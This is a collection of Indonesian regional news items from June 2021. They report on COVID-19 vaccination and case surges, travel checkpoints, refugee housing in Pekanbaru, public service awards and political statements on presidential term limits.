Bogor, FNN - Pemerintah Kota Bogor melalui Dinas Kesehatan siap melaksanakan vaksinasi massal COVID-19 untuk warga setempat berusia 18 tahun ke atas sebanyak 5.000 orang pada Selasa (22/6). Wali Kota Bogor Bima Arya di Kota Bogor, Minggu, mengatakan vaksinasi massal tersebut akan dilaksanakan secara serentak di Gedung Gedung Puri Begawan Jalan Raya Pajajaran Bogor Timur, Lippo Plaza Ekalokasari Jalan Siliwangi Bogor Timur, dan Mal Boxies 123 Jalan Raya Tajur Bogor Timur. Dinas Kesehatan Kota Bogor membuka pendaftaran vaksinasi massal COVID-19 melalui aplikasi daring untuk warga setempat yang dibuktikan dengan foto KTP Kota Bogor pada Sabtu (19/6). Oleh karena tingginya minat warga Kota Bogor berusia 18 tahun ke atas untuk menjadi sasaran penerima vaksin, hanya dalam waktu sekitar 30 menit, pendaftaran untuk 5.000 penerima vaksin tersebut sudah penuh. "Hanya dalam waktu sekitar 30 menit formulirnya sudah habis," katanya. Menurut Bima Arya, pembukaan pendaftaran vaksinasi untuk warga Kota Bogor berusia 18 tahun ke atas ini adalah bagian dari vaksinasi massal nasional di Kota Bogor, sesuai harapan Presiden Joko Widodo saat meninjau pelaksanaan vaksinasi massal di Stasiun Bogor pada Kamis (17/6). Pemerintah Kota Bogor mengusulkan vaksinasi COVID-19 secara umum untuk warga Kota Bogor berusia 18 tahun ke atas yakni sekitar 670.000 orang. Menurut Bima Arya, Presiden Joko Widodo saat meninjau pelaksanaan vaksinasi di Stasiun Bogor memberikan arahan kepada Menteri Kesehatan untuk melakukan percepatan vaksinasi di Jakarta dan daerah penyangga sekitarnya, termasuk Kota Bogor. "Pada kesempatan tersebut, saya menyatakan jika dilakukan percepatan vaksinasi, Kota Bogor siap melaksanakan vaksinasi sekitar 5.000 sampai 10.000 sasaran orang setiap hari," katanya. Mengenai ketersediaan vaksin COVID-19 di Kota Bogor, Bima mengatakan, saat ini stok vaksin di Dinas Kesehatan sekitar 16.000 vaksin, tetapi untuk sasaran yang sudah terdata yakni pelayan publik, guru, orang lanjut usia, dan pelaku ekonomi. Untuk vaksinasi massal warga Kota Bogor, pemkot akan meminta lagi vaksin dari Kementerian Kesehatan sehingga pelaksanaan vaksinasi massal ini dapat berjalan lancar dan sesuai target. Kepala Dinas Kesehatan Kota Bogor Sri Nowo Retno mengatakan pelaksanaan vaksinasi massal untuk warga Kota Bogor, dibatasi sekitar 5.000 sasaran setiap hari agar dapat berjalan dengan tertib, lancar, dan tidak terjadi kerumunan yang menimbulkan risiko penularan COVID-19. "Akan dibuat jadwal tempat dan jam pelaksanaannya untuk setiap orang sesuai dengan nomor urutnya. Jika penerima vaksin datang tidak sesuai dengan jam pelaksanaannya maka tidak dilayani," katanya. (sws)

Kasus COVID-19 di Cirebon Meningkat di Atas 150 Orang Per Hari

Cirebon, FNN - Kepala Dinas Kesehatan Kabupaten Cirebon, Jawa Barat Eni Suhaeni mengatakan kasus terkonfirmasi positif COVID-19 kembali menunjukkan peningkatan, di mana rerata per hari di atas 150 orang dan saat ini kasus aktif mencapai 1.414. "Penambahan terkonfirmasi positif COVID-19, setiap hari rerata di atas 150 orang," kata Eni di Cirebon, Ahad. Eni mengatakan dari tanggal 16 Juni 2021, kasus positif di Kabupaten Cirebon menunjukkan peningkatan yang cukup signifikan, di mana dalam sehari sampai 65 orang. Sehari kemudian, kasus terkonfirmasi positif COVID-19 meningkat tajam yaitu mencapai 208 orang, selanjutnya pada tanggal 18 Juni 2021 terdapat 177 kasus. "Untuk tanggal 19 kemarin penambahan kasus 192 dan hari Ahad ini terdapat 228 orang terkonfirmasi positif," tuturnya. Sementara dari data yang ada, kasus aktif di Kabupaten Cirebon hingga Ahad ini terdapat 1.414 orang, di mana 735 orang menjalani isolasi mandiri dan sisanya yaitu 679 menjalani perawatan di rumah sakit. Sedangkan untuk total kasus terkonfirmasi mencapai 11.625 orang dengan perincian 478 meninggal dunia, 9.733 sembuh dan 1.414 masih menjalani perawatan. Eni menambahkan dengan terus meningkatnya kasus terkonfirmasi positif COVID-19, Pemkab Cirebon saat ini sedang menyiapkan penambahan tempat tidur di dua rumah sakit. "Kita akan tambah tempat tidur di RSUD Arjawinangun dan Waled," katanya. (sws)

Imigran di Penampungan Pekanbaru Akan Dikelompokkan Sesuai Negaranya

Pekanbaru, FNN - Pemerintah Kota (Pemko) Pekanbaru melalui Badan Kesatuan Bangsa dan Politik (Kesbangpol) merencanakan untuk mengelompokkan imigran atau pengungsi pencari suaka politik yang ada di wilayahnya sesuai kewarganegaraan atau negara asal. "Selama ini pencari suaka politik ini ditempatkan membaur di penampungan yang disediakan di beberapa tempat di Kota Pekanbaru," kata Kepala Badan Kesatuan Bangsa dan Politik (Kesbangpol) Kota Pekanbaru Zulfahmi Adrian di Pekanbaru, Minggu. Ia menyebut, tujuannya agar mempermudah melakukan pengawasan di lapangan mengingat jumlah mereka sudah banyak dan berasal dari berbagai negara. "Jadi untuk memudahkan kita melakukan pengawasan dan monitoring, maka kita berencana akan menempatkan mereka berdasarkan negara yang sama," kata Zulfahmi. Dikatakan dia, saat ini ada beberapa negara yang warganya menjadi imigran ke Kota Pekanbaru, antara lain dari Pakistan, Afghanistan, Iran, Irak, Somalia, Sudan dan Rohingya (Myanmar). Kini mereka masih ditempatkan di sejumlah tempat penampungan yang telah disiapkan. "Jadi misalnya nanti pengungsi yang dari Pakistan, ditempatkan sesama warga Pakistan. Sehingga bisa kita awasi dengan lebih baik," katanya. Sejauh ini, lanjut Zulfahmi, Kesbangpol terus aktif berkoordinasi dengan United Nations High Commissioner for Refugees (UNHCR) atau Komisi Tinggi PBB Untuk Masalah Pengungsi perwakilan Riau dalam penanganan dan pengawasan terhadap imigran. "Kebijakan ini akan kami koordinasi dan komunikasi juga perwakilan UNHCR dalam hal ini International Organization for Migration (IOM)," tukasnya. (sws)

Sultan HB X Sebut Sulit Tekan COVID-19 Jika Masyarakat Anggap Enteng

Yogyakarta, FNN - Gubernur Daerah Istimewa Yogyakarta Sri Sultan Hamengku Buwono X menyebutkan penularan COVID-19 sulit dikendalikan apabila masyarakat menganggap enteng dan tidak kooperatif mendukung kebijakan pemerintah. "Karena ini semua tergantung dari kita sendiri-sendiri, kita bisanya hanya mengambil kebijakan, berbuat sesuatu mengkonsolidasikan kesehatan masyarakat. Kalau masyarakat menganggap enteng, ya kita juga kesulitaN menindaklanjuti penularan," kata Sri Sultan dalam Rapat Terbatas (Ratas) Penanganan COVID-19 secara daring dari Gedhong Pracimasana, Kepatihan, Yogyakarta, Minggu. Raja Keraton Yogyakarta ini kembali meminta masyarakat menjadi subjek yang turut meminimalisir penyebaran COVID-19 di DIY. Hal tersebut disampaikan mengingat tingginya penambahan kasus positif COVID-19 di DIY selama sepekan terakhir. Penambahan kasus positif di DIY mengalami puncaknya pada Minggu (20/6) yakni sebesar 665 kasus. Angka ini merupakan angka tertinggi penambahan kasus selama pandemi COVID-19 terjadi di DIY. Di samping itu, RT yang berada di zonasi merah mencapai 19 RT dan yang berada di zonasi oranye mencapai 61 RT. Penambahan kasus itu turut berdampak pada tingkat keterisian tempat tidur atau bed occupancy rate (BOR) baik isolasi maupun ICU di RS Rujukan COVID-19 DIY. "Jadi, tadi juga sudah disampaikan oleh Menteri Kesehatan, updatenya, BOR itu 75 persen. Tapi dari kondisi tadi pagi, itu berubah. Setelah perkembangan kita ada di angka 65,44 persen," ujar Sultan. Ia mengatakan kondisi jumlah tempat tidur, yang tadinya 941, saat ini telah bertambah menjadi 1.224 unit. "Sudah tambah 30 persen bed yang ada khusus untuk COVID. Khususnya di RSUP Sardjito dan Hardjolukito. Ada satu yang belum aktif, sekarang kita aktifkan," kata Sri Sultan Ia kembali menekankan kepada warga DIY agar melaksanakan Instruksi Gubernur (Ingub) DIY Nomor 15/INSTR/2021 tentang Perpanjangan PPKM Berbasis Mikro yang dikeluarkan tanggal 15 Juni 2021 dengan semakin memperketat mobilitas. "Semakin mengetati mobilitas masyarakat di setiap kelurahan, masyarakat sadar untuk menjaga dirinya sendiri dan itu otomatis akan bermanfaat bagi orang lain. Tanpa kesadaran seperti itu, kita tidak akan bisa menurunkan, ya fluktuatif begini terus," ujar Sri Sultan. Di samping itu, kenaikan jumlah kasus positif COVID-19 tak hanya terjadi di DIY saja, melainkan juga di provinsi-provinsi lain di Indonesia. "Sebagian besar (naik), kira-kira 30 provinsi yang naik, semuanya naik. Bagaimana kita mencoba masing-masing daerah memperketat kondisi yang ada," kata Sri Sultan. Sri Sultan juga mengatakan bahwa nantinya per tanggal 22 Juni 2021, pemerintah pusat akan mengeluarkan peraturan atau kebijakan baru guna menekan laju penambahan kasus positif di 30 provinsi tersebut. "Mungkin tanggal 22 (Juni) ada kebijakan tambahan atau lain tapi saya belum tahu perubahan itu apa dan bagaimana. Tapi saya kira, (peraturan) itu tetap dalam keseimbangan antara ekonomi dengan pembatasan yang ada, saya kira larinya ke sana, tapi bentuknya seperti apa belum tahu," kata Sri Sultan. Sebelumnya, Gubernur DIY mewacanakan menerapkan "lockdown" total apabila PPKM Mikro yang kembali diperpanjang hingga 28 Juni 2021 kembali gagal menekan lonjakan kasus. Sekretaris Daerah (Sekda) DIY Kadarmanta Baskara Aji menegaskan peraturan yang dibuat Pemda DIY sejatinya membutuhkan kerja sama berbagai pihak. "Ngarsa Dalem (Sultan HB X) sudah menekankan bahwa masyarakat harus jadi subjek, masyarakat jangan tidak ada usaha untuk mengingatkan orang lain, tonggo teparo (tetangga), untuk menaati protokol kesehatan," kata dia. Aji berharap peraturan yang telah dibuat Pemda DIY dapat ditaati dengan baik. Selama ini operasional mal serta pusat perbelanjaan lainnya telan dibatasi hingga pukul 21.00 WIB, sementara untuk zona merah sampai pukul 20.00 WIB. "Rumah makan, tempat wisata, itu maksimal (pengunjung) 50 persen ya 50 persen. Jadi jangan hanya menunggu sampai Satpol PP sampai ngoyak-oyak (mengejar-ngejar), kita harus saling menjaga," ujar Aji. (sws)

Dukcapil Raih 10 Penghargaan Inovasi Pelayanan Publik 2021

Jakarta, FNN - Ditjen Dukcapil Kemendagri bersama jajaran dinas dukcapil daerah meraih 10 penghargaan inovasi pelayanan publik 2021 dari Kementerian PANRB. Dirjen Dukcapil Kemendagri, Zudan Arif Fakrulloh dalam keterangannya diterima di Jakarta, Minggu, mengatakan capaian itu menjadi potret keberhasilan kinerja pada pelayanan masyarakat di Dukcapil. "Sebagaimana sering saya tanamkan kepada jajaran di pusat dan juga di daerah bahwa roh Dukcapil adalah pelayanan dan inovasi," kata dia. Zudan mengatakan pihaknya bersyukur atas penghargaan yang diterima dan dia telah melaporkan capaian itu kepada Mendagri Muhammad Tito Karnavia, Sekjen Kemendagri Muhammad Hudori, dan Kaban BPP Agus Fatoni. "Mohon doa dan dukungan bapak menteri dan bapak/ibu JPT di lingkungan Kemendagri agar inovasi ini bisa lolos Top 45 dan Top 5," kata Zudan. Bagi Dukcapil penerima penghargaan, Zudan mengingatkan untuk tak mudah berpuas diri dan harus terus berinovasi serta membaca dengan baik laju teknologi. "Bagi teman-teman yang belum menerima penghargaan, masih ada waktu untuk berbenah terus meningkatkan kemampuan inovasi untuk pelayanan yang lebih baik," ujar Zudan. Penghargaan yang diraih kali ini menurut dia terdiri dari tiga kategori yakni kategori "Top 15 Kelompok Khusus", kategori "Top 15 Kelompok Replikasi", dan kategori "Top 99". Peraih Top 15 kelompok khusus yakni Dukcapil Kota Surakarta dengan produk inovasi "KUWALAT SILA KIA" dan Dukcapil Provinsi Kalimantan Utara dengan produk inovasi "SIPELANDUK KILAT". Berikutnya, Peraih Top 15 kelompok replikasi yakni Dukcapil Kota Magelang dengan produk inovasi "SI BULAN", Dukcapil Kota Bekasi dengan produk inovasi "e-OPEN", Dukcapil Kabupaten Kotawaringin Barat dengan produk inovasi "SIDA KAM KOBAR" dan Dukcapil Kabupaten Banjar dengan produk inovasi "JEMPOL PELANDUK". Sementara, peraih ketegori Top 99 yakni Dukcapil Kabupaten Karanganyar dengan produk inovasi "PAK TUJI", Dukcapil Kota Denpasar dengan produk inovasi, "AKU WARAS", Dukcapil Kota Pasuruan dengan produk inovasi "PASTI DAKU KAWIN" dan Ditjen Dukcapil Kemendagri dengan produk inovasi bernama "D’SIGN" (Digital Signature Dukcapil). (sws)

Wagub Laporkan ke Pusat, Banten Kembali Zona Oranye

Serang, FNN - Wakil Gubernur Andika Hazrumy menyampaikan kondisi Banten yang kembali masuk zona oranye atau risiko sedang penularan COVID-19. Laporan tersebut disampaikan Wagub Banten Andika, saat mengikuti rapat koordinasi perkembangan dan penanganan pandemi COVID-19 bersama Menteri Koordinator Perekonomian Airlangga Hartarto secara virtual dari kediamannya di Kota Serang, Ahad. "Di antaranya kami melaporkan perkembangan terakhir di Banten bahwa kabupaten/kota di Banten kembali masuk zona oranye," kata Andika. Selain Banten, 7 provinsi ikut dalam rapat tersebut, yakni DKI Jakarta Jabar, Jateng, Jatim, DI Yogyakarta, Kalbar dan Kepri. Menurut Andika, data Dinas Kesehatan Provinsi Banten, menunjukkan Provinsi Banten menunjukkan peningkatan kasus COVID19 dalam 1 bulan terakhir. Seluruh wilayah kabupaten/kota kembali masuk zona oranye risiko penyebaran COVID-19. Jumlah kasus konfirmasi per 19 Juni 2021 mencapai 53.487 dengan angka kasus aktif mencapai 2.619 atau 4,89 persen. Adapun angka kesembuhan mencapai 49.494 atau 92,54 persen dan angka kematian 2,56 persen. Menurut Andika, dalam satu pekan terakhir ada kenaikan angka kasus konfirmasi dari sebelumnya. Adanya varian baru dengan tingkat potensi penularan tinggi, serta pengabaian masyarakat terhadap protokol kesehatan yang berdampak pada perkembangan pasca Idul Fitri. "Padahal pada awal Mei lalu, tingkat penularan kasus rendah sampai dengan 1 minggu pasca Idul Fitri," kata Andika. Namun, sejak 25 Mei 2021 sampai dengan 19 Juni 2021 tingkat penularan kasus terus mengalami kenaikan. Data Dinkes Banten menunjukkan angka positif rate atau total jumlah kasus positif dibagi jumlah total usapan (swab) yang diperiksa, sebesar 5,539 persen. Untuk target usap sudah melebihi Standar WHO yaitu 1 persen jumlah penduduk. "Namun, angka positif rate masih di atas 5 persen, karena itu masih perlu ditingkatkan upaya testing dan penelusuran (tracing)," kata Andika. Terkait pelaksanaan vaksin, kata Andika, sampai dengan 19 Juni 2021 sebanyak 406.742 sasaran yang terdiri dari SDM kesehatan, petugas publik dan lansia telah mendapatkan vaksin dosis kedua. (sws)

Polisi dan Satpol PP Putar Balikkan Kendaraan Tujuan Wisata di Cianjur

Cianjur, FNN - Polisi dan Satpol PP Cianjur, Jawa Barat, bersama petugas gabungan memulangkan puluhan kendaraan bernopol luar kota dengan tujuan wisata karena tidak dilengkapi dengan surat bebas COVID-19 antigen yang terjaring dalam penyekatan di perbatasan Cianjur. Kepala Satpol PP Cianjur Hendri Prasetyadi saat dihubungi Minggu, mengatakan seiring tingginya angka penularan COVID-19 di sejumlah wilayah terdekat dengan Cianjur, membuat operasi yustisi di perbatasan Cianjur kembali ditingkatkan dan diperketat, termasuk razia di jalur protokol. "Tercatat di sejumlah titik perbatasan, lebih dari 10 kendaraan roda empat dan puluhan kendaraan roda dua bernopol luar kota dipulangkan ke daerah asal karena tidak mengantongi surat keterangan bebas COVID-19 antigen yang sebagian besar dengan tujuan tempat wisata," katanya. Petugas gabungan yang terdiri dari gugus tugas, TNI/Polri, Satpol PP, Dinkes, BPBD dan PMI Cianjur, juga melakukan operasi yustisi dan penyekatan di pintu masuk kota Cianjur, tepatnya di perempatan Tugu Lampu Gentur-By Pass, Cianjur, sebagai upaya menekan angka pendatang masuk ke Cianjur. Kanit Lantas Polres Cianjur Iptu Yudistira, mengatakan sebagai upaya menekan kendaraan pendatang tanpa surat keterangan masuk Kota Cianjur dan sebagai upaya meningkatkan penerapan prokes bagi pengendara yang melintas di jalur protokol di Cianjur, pihaknya meningkatkan pemeriksaan. "Semua kendaraan bernopol luar kota, tidak luput dari pemeriksaan yang digelar di perempatan Lampu Gentur, pengendara luar kota yang yang tidak melengkapi diri dengan surat keterangan bebas COVID-19 antigen terpaksa di putar balik," katanya. Sedangkan pengendara lokal tanpa menerapkan prokes, dikenakan sanksi denda dan disarankan untuk memeriksakan diri ke pusat layanan terdekat di lingkungan tempat tinggalnya. Selama operasi digelar, tingkat pelanggaran tidak menggunakan masker masih mendominasi. "Sebagian besar mereka yang terjaring pengendara roda dua yang lupa membawa masker, selain mendapatkan sanksi denda, mereka juga dikenakan sanksi sosial dan fisik seperti push up," katanya. (sws)

Satgas Pamtas Gelar Kegiatan Sosial Bagi Masyarakat Perbatasan Kalbar

Pontianak, FNN - Satgas Pamtas Indonesia-Malaysia Yonif Mekanis 643/Wanara Sakti menggelar berbagai kegiatan sosial bagi masyarakat di wilayah perbatasan Kalimantan Barat, seperti membantu renovasi bangunan gedung sekolah, mengajar ngaji, dan memberikan pelayanan kesehatan. "Kegiatan-kegiatan sosial itu telah kami lakukan dalam beberapa hari ini, seperti merenovasi gedung sekolah SDN 06 Sungai Take bersama para guru di daerah Kecamatan Jagoi Babang Kabupaten Bengkayang," kata Dansatgas Pamtas RI-Malaysia Yonif Mekanis 643/Wns, Letkol (Inf) Hendro Wicaksono S di Entikong, Minggu. Kemudian, menurut dia, pihaknya juga ikut memberikan pelajaran mengaji kepada anak-anak di Desa Beruang, Kecamatan Sajingan Besar, Kabupaten Sambas dan memberikan pelayanan kesehatan gratis kepada warga di sekitar Desa Entikong, Kecamatan Entikong, Kabupaten Sanggau. "Kegiatan bakti sosial itu dilakukan oleh personel kami yang posnya berada tidak jauh dari wilayah di Desa Sungai Take, Desa Beruang dan Desa Entikong dan dilaksanakan secara tulus dan ikhlas," katanya. Dia menambahkan, dengan perbaikan ruang sekolah di SDN 06 Sungai Take ini diharapkan mampu membangkitkan kembali semangat belajar para siswa, mengingat sudah beberapa bulan para siswa tidak melaksanakan sekolah secara tatap muka, namun hanya daring atau virtual dan tentunya dengan tetap mematuhi protokol kesehatan. Sama halnya dengan mengajar mengaji, di mana kata Dansatgas, ilmu agama menjadi tiang dasar pendidikan akhlak seorang anak dalam kehidupan sehari-hari. Hal ini pula yang menjadi perhatian sehingga ikut serta dalam mengajarkan anak-anak di perbatasan tentang ilmu agama, salah satunya belajar mengaji. Sementara itu, kegiatan pelayanan kesehatan pengobatan keliling dari rumah ke rumah warga dilakukan di sekitar Dusun Entikong, Desa Entikong, Kecamatan Entikong. "Kegiatan pengobatan dari rumah ke rumah yang dilakukan dokter Satgas Letda Ckm dr Fajri bersama tenaga kesehatan Kotis Satgas Pratu Asep Yudha merupakan wujud sumbangsih dan kepedulian kami sebagai Satgas Pamtas Yonif Mekanis 643/Wns kepada warga perbatasan RI-Malaysia," katanya. Di tempat terpisah, Wadansatgas, Mayor (Inf) Didik Lipur mengatakan kegiatan itu bermula ada salah satu perwakilan guru melapor kepada pihaknya untuk meminta bantuan merenovasi bangunan sekolah yang sudah rusak dan dapat membahayakan dalam proses belajar mengajar. “Mendapat informasi tersebut langsung kami dengan mengerahkan personel yang memiliki keahlian di bidang pertukangan untuk segera membantu merenovasi bangunan yang rusak itu,” ujarnya. Kegiatan ini dilakukan untuk menunjukkan kepada masyarakat dan instansi daerah bahwa kehadiran Satgas Pamtas dapat bermanfaat bagi masyarakat dan instansi terkait dengan ikut serta dalam usaha memajukan pembangunan sekolah. "Dengan adanya kegiatan renovasi ini para guru dan siswa siswi SD Negeri 06 Sei Take dapat lebih merasa aman dan nyaman melaksanakan proses belajar mengajar," katanya. (sws)

Polres Garut Putar Balik Seribuan Kendaraan Luar Kota Tujuan Wisata

Garut, FNN - Kepolisian Resor Garut telah memutarbalikkan sekitar seribuan kendaraan roda dua maupun empat dari luar kota yang hendak masuk Kabupaten Garut, Jawa Barat, dengan tujuan berwisata saat operasi penyekatan arus kendaraan untuk mencegah penyebaran COVID-19 di Garut yang digelar sejak Sabtu (19/6). "Untuk kendaraan yang diputarbalikkan dari kemarin sampai sore ini sekitar seribu lebih, mayoritas plat nomor dari luar Garut," kata Kepala Satuan Lalu Lintas Polres Garut AKP Karyaman saat dihubungi wartawan di Garut, Minggu. Ia menuturkan sejumlah personel Satuan Lalu Lintas Polres Garut bersama petugas gabungan lainnya telah diterjunkan untuk melakukan penyekatan dan memutar arahkan kendaraan luar kota yang tujuannya ke tempat wisata. Lokasi penyekatan, kata dia, yakni di Kadungora dan Limbangan sebagai daerah perbatasan dengan Kabupaten Bandung, kemudian di pertigaan Malangbong berbatasan dengan Sumedang, dan Cilawu berbatasan dengan Kabupaten Tasikmalaya. Ia menjelaskan penyekatan kendaraan dari luar kota itu berdasarkan kebijakan Bupati Garut terkait pencegahan dan munculnya klaster baru penularan COVID-19 di tempat wisata. "Dasar dari kebijakan Bupati Garut untuk antisipasi klaster baru di tempat wisata yang sudah diterapkan pengunjung 25 persen dalam upaya menekan angka zona merah," katanya. Ia menyampaikan seluruh petugas yang bersiaga di lokasi perbatasan dilakukan pemeriksaan terhadap kendaraan luar kota, jika tujuannya ke objek wisata maka diminta untuk putar balik ke kota asalnya. Ia menambahkan penyekatan arus kendaraan dari luar kota sudah diberlakukan sejak Sabtu (19/6), dan akan terus dilakukan dengan mempertimbangkan kondisi di lapangan atau sampai dinyatakan kondisi aman penyebaran COVID-19. "Terus dilakukan hingga seluruh wilayah di Kabupaten Garut masuk ke dalam zona aman, jadi semuanya tergantung dengan situasi," katanya. (sws)

TNI dan Warga Kapuas Hulu Bangun Rumah Isolasi Pasien COVID-19

Putussibau, Kapuas Hulu, FNN - Anggota TNI bersama warga Desa Bika Hulu, Kecamatan Bika, Kabupaten Kapuas Hulu, Kalimantan Barat gotong royong membangun rumah yang akan digunakan sebagai tempat isolasi mandiri bagi pasien COVID-19 di daerah tersebut. "Anggota kami bersama warga gotong royong membangun rumah isolasi pasien COVID-19 setelah ada kesepakatan musyawarah di desa Kecamatan Bika," kata Danramil 1206-12/Kalis Pelda Mulyadi di Putussibau, Kapuas Hulu, Minggu. Mulyadi menyampaikan gotong royong itu dilaksanakan babinsa bersama warga Bika sebagai wujud upaya menanggulangi sebaran COVID-19. Dia menjelaskan rumah tersebut nantinya digunakan tempat isolasi mandiri bagi warga di daerah itu yang dinyatakan positif COVID-19, baik melalui tes PCR maupun tes usap antigen. "Pembangunan rumah itu upaya antisipasi di tengah pandemi COVID-19, karena belum ada yang mengetahui kapan sebaran COVID-19 akan berakhir," kata dia. Anggota Babinsa Koramil 1206-12/Kalis Koptu Dwi Purwanto mengatakan pembangunan rumah khusus untuk isolasi itu langkah antisipasi apabila ruang Isolasi di rumah sakit maupun puskesmas yang telah ditunjuk sudah tidak mampu menampung pasien positif COVID-19. "Kami bersama warga bahu-membahu membangun rumah itu, yang letaknya cukup jauh dari pemukiman warga," ucap dia. Purwanto menjelaskan dalam penentuan letak rumah isolasi mandiri juga mempertimbangkan relawan COVID-19 agar mudah dalam memantau perkembangan pasien serta penyediaan logistik selama isolasi mandiri. "Mudah-mudahan di Desa Bika Hulu tidak terjadi penyebaran COVID-19 secara massal sehingga rumah tersebut bisa digunakan untuk hal lain yang berguna bagi desa dan masyarakat," kata dia. Koramil 1206-12/Kalis membawahi dua kecamatan, yaitu Kalis dan Bika. (sws)

PDIP Tolak Jabatan Presiden Tiga Periode

Jakarta, FNN - Ketua DPP PDI Perjuangan Ahmad Basarah menegaskan bahwa partainya menolak adanya gagasan masa jabatan presiden tiga periode. "Gagasan tentang masa jabatan presiden ditambah menjadi 3 periode ini jelas jauh dari pandangan dan sikap politik PDIP," kata Ahmad Basarah dalam peluncuran hasil survei nasional SMRC bertajuk "Sikap Publik Nasional terhadap Amendemen Presidensialisme dan DPD", yang dilakukan secara daring, di Jakarta, Minggu. Bahkan, Presiden Jokowi tidak pernah berpikir bisa menjadi presiden tiga periode. "Isu tiga periode ini kalau kita lihat subjeknya (Jokowi) bolak-balik beliau sudah mengatakan tidak pernah berpikir bisa menjadi presiden tiga periode," katanya. Presiden Jokowi, kata Basarah, menganggap bahwa orang-orang yang memunculkan gagasan tiga periode, mau cari muka. "Dalam ungkapan satire, Presiden Jokowi menganggap orang-orang yang memunculkan gagasan 3 periode, mau cari muka, mau nampar muka saya dan ingin menjerumuskan saya. Jadi, kalau subjeknya saja sudah tidak mau, saya kira sangat tidak elok konstitusi kita dipermainkan hanya kepentingan orang per orang saja," ujarnya. Selain itu, Wakil Ketua MPR ini mengatakan PDIP juga menolak adanya narasi presiden dipilih MPR. Basarah mengatakan jika ada amandemen, PDIP ingin amandemen terbatas yakni supaya MPR bisa menetapkan Garis-garis Besar Haluan Negara (GBHN). "Sama sekali kita tidak pernah membahas presiden dipilih oleh MPR, sikap PDIP ini adalah amandemen terbatas, artinya tidak mau melebar ke mana-mana, hanya menambah satu ayat di pasal 3 UUD 1945 yaitu MPR diberikan wewenang untuk menetapkan haluan dan haluan pembangunan nasional," paparnya. Basarah menjelaskan adanya amandemen agar MPR menetapkan GBHN itu guna pembangunan nasional terus berlanjut. Sehingga, tambah dia, ketika pemimpin berganti program pembangunan nasional tidak berhenti. PDIP akan menarik diri dari agenda amandemen terhadap UUD 1945 jika mengarah kepada perubahan masa jabatan presiden. "Kalau ada agenda itu secara tegas PDIP menarik diri dari agenda tersebut. Apalagi misalkan gagasan tentang masa jabatan presiden ditambah menjadi tiga periode. Ini jelas jauh dari pandangan dan sikap politik baik di MPR dan PDIP," tegas Basarah. Sementara itu, Peneliti sekaligus Direktur Komunikasi SMRC Ade Armando menyebutkan, berdasarkan hasil survei nasional Saiful Mujani Research and Consulting (SMRC) sebagian besar massa pemilih PDIP mendukung Jokowi maju di Pilpres 2024, yakni mencapai 66 persen. "Begitu pun massa pemilih partai non parlemen mendukung Jokowi maju tiga periode (60 persen)," kata Ade Sementara massa yang menolak Jokowi maju tiga periode berasal dari pemilih Partai Gerindra (78 persen), PKS (78 persen), dan Demokrat (71 persen), warga yang belum punya pilihan partai (60 persen), pemilih Golkar (54 persen), dan PKB (51 persen). Survei nasional SMRC tersebut dilakukan pada 21-28 Mei 2021. Penelitian melalui wawancara tatap muka ini melibatkan 1072 responden yang dipilih melalui metode penarikan sampel random bertingkat (multistage random sampling) dengan margin of error penelitian ± 3,05 persen. (sws)

KPU Bantul Siapkan Kader Pelopor Demokrasi Songsong Pemilu 2024

Bantul, FNN - Komisi Pemilihan Umum Kabupaten Bantul, Daerah Istimewa Yogyakarta, menyiapkan kader pelopor demokrasi di tiga kelurahan setempat yaitu Desa Banguntapan, Desa Bangunharjo, dan Desa Ngestiharjo guna menyongsong pelaksanaan Pemilu serentak 2024. "Ketiga kelurahan yang ditetapkan sebagai Desa Pelopor Demokrasi ini pada pemilihan tahun 2020 berada pada angka partisipasi pemilih yang rendah dibandingkan dengan kelurahan lain," kata Koordinator Divisi Sosialisasi, Pendidikan Pemilih dan Partisipasi Masyarakat KPU Bantul Musnif Istiqomah di Bantul, Minggu. Secara berurutan partisipasi pemilih pada pemilihan 2020, Kelurahan Banguntapan sebanyak 64,48 persen, Kelurahan Bangunharjo 76,46 persen dan Kelurahan Ngestiharjo 66,68 persen, angka partisipasi ini di bawah rata-rata partisipasi tingkat kabupaten yaitu 80,32 persen. Melalui program desa pelopor demokrasi ini, kata dia, diharapkan pada Pemilu serentak 2024 terjadi peningkatan partisipasi pemilih yang signifikan di ketiga kelurahan tersebut. "Di masing-masing kelurahan akan dibentuk sebanyak 25 kader pelopor demokrasi. KPU Bantul bekerjasama dengan pemerintah desa setempat untuk merekrut calon-calon kader tersebut," katanya. Beberapa persyaratan untuk menjadi kader pelopor demokrasi antara lain berusia antara 17 sampai 50 tahun, tidak menjadi anggota partai politik, berdomisili di wilayah desa pelopor demokrasi, diutamakan warga yang aktif dalam kegiatan kemasyarakatan seperti karang taruna, PKK, kader kesehatan. Dia mengatakan, peserta kader pelopor demokrasi ini terbuka untuk basis pemilih disabilitas, pemilih pemula, pemilih perempuan maupun pemilih muda. "Selanjutnya kader pelopor demokrasi yang dibentuk ini akan mendapatkan pembekalan secara intensif berupa materi-materi tentang nilai-nilai demokrasi serta teknis penyelenggaraan pemilu dan pemilihan," katanya. Ketua KPU Bantul, Didik Joko Nugroho mengatakan, dalam kegiatan Desa Pelopor Demokrasi ini, KPU bekerjasama dengan desa setempat, Program Studi Ilmu Pemerintahan Fisipol UMY serta Pemerintah Kabupatan Bantul, untuk menjamin dan memastikan program desa pelopor demokrasi dapat berlangsung berkesinambungan. "Kader pelopor demokrasi yang telah terbentuk ini nantinya diharapkan dapat mengembangkan dan membentuk kader turunan berbasis dusun dan Rukun Tetangga (RT)," katanya. Didik mengatakan, bahwa ada komitmen dari Fisipol UMY untuk memberikan pendampingan desa pelopor demokrasi ini melalui kegiatan Kuliah Kerja Nyata (KKN) tematik serta kegiatan magang mahasiswa. "Selain itu dari pemerintah kelurahan juga akan memberikan dukungan terhadap kegiatan-kegiatan kader pelopor demokrasi, salah satunya dengan memberikan dukungan fasilitasi koordinasi di tingkat kelurahan," katanya. (sws)

Puan: Hoak Bisa Pecah Belah Bangsa

